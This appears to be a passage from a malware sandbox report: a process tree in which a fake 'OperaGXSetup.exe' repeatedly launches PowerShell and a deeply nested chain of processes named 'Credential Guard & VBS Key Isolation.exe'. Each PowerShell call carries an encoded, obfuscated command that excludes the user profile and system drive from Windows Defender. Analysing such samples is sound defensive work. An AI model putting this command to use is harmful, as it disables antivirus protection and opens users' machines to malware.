        234⤵
        
        PID:1144
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        234⤵
        
        PID:4452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        235⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        235⤵
        
        PID:6916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        236⤵
        
        PID:4200
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        236⤵
        
        PID:7408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        237⤵
        
        PID:6980
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        237⤵
        
        PID:5096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        238⤵
        
        PID:3720
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        238⤵
        
        PID:4516
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        238⤵
        
        PID:7772
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        237⤵
        
        PID:3120
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        236⤵
        
        PID:3276
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        235⤵
        
        PID:6848
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        234⤵
        
        PID:7120
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        233⤵
        
        PID:7052
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        232⤵
        
        PID:5940
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        231⤵
        
        PID:6728
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        230⤵
        
        PID:796
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        229⤵
        
        PID:2920
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        228⤵
        
        PID:4660
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        227⤵
        
        PID:4028
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        226⤵
        
        PID:7976
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        225⤵
        
        PID:5072
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        224⤵
        
        PID:2640
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        223⤵
        
        PID:4572
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        222⤵
        
        PID:1440
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        221⤵
        
        PID:7928
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        220⤵
        
        PID:5040
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        219⤵
        
        PID:3260
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        218⤵
        
        PID:7772
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        217⤵
        
        PID:1820
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        216⤵
        
        PID:7124
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        215⤵
        
        PID:7928
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        214⤵
        
        PID:5044
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        213⤵
        
        PID:7716
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        212⤵
        
        PID:1040
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        211⤵
        
        PID:2944
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        210⤵
        
        PID:6580
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        209⤵
        
        PID:6504
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        208⤵
        
        PID:7180
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        207⤵
        
        PID:8040
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        206⤵
        
        PID:6020
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        205⤵
        
        PID:5404
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        204⤵
        
        PID:7976
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        203⤵
        
        PID:7936
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        202⤵
        
        PID:7656
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        201⤵
        
        PID:4524
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        200⤵
        
        PID:7596
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        199⤵
        
        PID:464
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        198⤵
        
        PID:6840
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        197⤵
        
        PID:6752
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        196⤵
        
        PID:7068
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        195⤵
        
        PID:7652
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        194⤵
        
        PID:7560
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        193⤵
        
        PID:6260
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        192⤵
        
        PID:4248
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        191⤵
        
        PID:1492
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        190⤵
        
        PID:2960
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        189⤵
        
        PID:5240
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        188⤵
        
        PID:2852
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        187⤵
        
        PID:1080
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        186⤵
        
        PID:6084
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        185⤵
        
        PID:7392
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        184⤵
        
        PID:5980
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        183⤵
        
        PID:3648
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        182⤵
        
        PID:4764
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        181⤵
        
        PID:6516
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        180⤵
        
        PID:8108
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        179⤵
        
        PID:4036
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        178⤵
        
        PID:6752
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        177⤵
        
        PID:7824
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        176⤵
        
        PID:6124
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        175⤵
        
        PID:7228
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        174⤵
        
        PID:7784
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        173⤵
        
        PID:4536
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        172⤵
        
        PID:5252
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        171⤵
        
        PID:5164
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        170⤵
        
        PID:3216
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        169⤵
        
        PID:6784
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        168⤵
        
        PID:7812
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        167⤵
        
        PID:2536
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        166⤵
        
        PID:2404
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        165⤵
        
        PID:2012
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        164⤵
        
        PID:6732
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        163⤵
        
        PID:3548
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        162⤵
        
        PID:6016
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        161⤵
        
        PID:6784
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        160⤵
        
        PID:7896
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        159⤵
        
        PID:4524
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        158⤵
        
        PID:8084
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        157⤵
        
        PID:6908
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        156⤵
        
        PID:3428
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        155⤵
        
        PID:5128
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        154⤵
        
        PID:4672
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        153⤵
        
        PID:7408
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        152⤵
        
        PID:4200
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        151⤵
        
        PID:7076
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        150⤵
        
        PID:6036
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        149⤵
        
        PID:8124
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        148⤵
        
        PID:8076
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        147⤵
        
        PID:2916
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        146⤵
        
        PID:8040
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        145⤵
        
        PID:4836
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        144⤵
        
        PID:6360
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        143⤵
        
        PID:6844
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        142⤵
        
        PID:1080
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        141⤵
        
        PID:4860
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        140⤵
        
        PID:2432
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        139⤵
        
        PID:2816
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        138⤵
        
        PID:2960
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        137⤵
        
        PID:4308
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        136⤵
        
        PID:5624
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        135⤵
        
        PID:6088
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        134⤵
        
        PID:488
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        133⤵
        
        PID:780
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        132⤵
        
        PID:684
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        131⤵
        
        PID:4016
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        130⤵
        
        PID:6996
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        129⤵
        
        PID:2120
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        128⤵
        
        PID:5712
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        127⤵
        
        PID:900
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        126⤵
        
        PID:6408
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        125⤵
        
        PID:4452
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        124⤵
        
        PID:1784
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        123⤵
        
        PID:2184
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        122⤵
        
        PID:7580
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        121⤵
        
        PID:216
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        120⤵
        
        PID:2200
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        119⤵
        
        PID:7076
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        118⤵
        
        PID:4028
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        117⤵
        
        PID:5576
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        116⤵
        
        PID:6424
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        115⤵
        
        PID:2796
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        114⤵
        
        PID:7476
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        113⤵
        
        PID:6680
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        112⤵
        
        PID:1836
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        111⤵
        
        PID:6608
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        110⤵
        
        PID:6436
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        109⤵
        
        PID:5100
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        108⤵
        
        PID:6328
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        107⤵
        
        PID:1068
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        106⤵
        
        PID:3836
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        105⤵
        
        PID:2116
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        104⤵
        
        PID:3424
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        103⤵
        
        PID:6664
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        102⤵
        
        PID:1836
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        101⤵
        
        PID:4548
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        100⤵
        
        PID:2992
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        99⤵
        
        PID:7388
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        98⤵
        
        PID:2284
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        97⤵
        
        PID:7740
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        96⤵
        
        PID:4740
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        95⤵
        
        PID:212
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        94⤵
        
        PID:4824
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        93⤵
        
        PID:6716
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        92⤵
        
        PID:3444
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        91⤵
        
        PID:5956
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        90⤵
        
        PID:7884
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        89⤵
        
        PID:6992
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        88⤵
        
        PID:3596
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        87⤵
        
        PID:2036
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        86⤵
        
        PID:7084
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        85⤵
        
        PID:6084
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        84⤵
        
        PID:8060
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        83⤵
        
        PID:1964
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        82⤵
        
        PID:6140
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        81⤵
        
        PID:3284
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        80⤵
        
        PID:4984
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        79⤵
        
        PID:2644
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        78⤵
        
        PID:7808
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        77⤵
        
        PID:5052
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        76⤵
        
        PID:8048
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        75⤵
        
        PID:2752
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        74⤵
        
        PID:5224
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        73⤵
        
        PID:3152
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        72⤵
        
        PID:4268
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        71⤵
        
        PID:6268
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        70⤵
        
        PID:6628
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
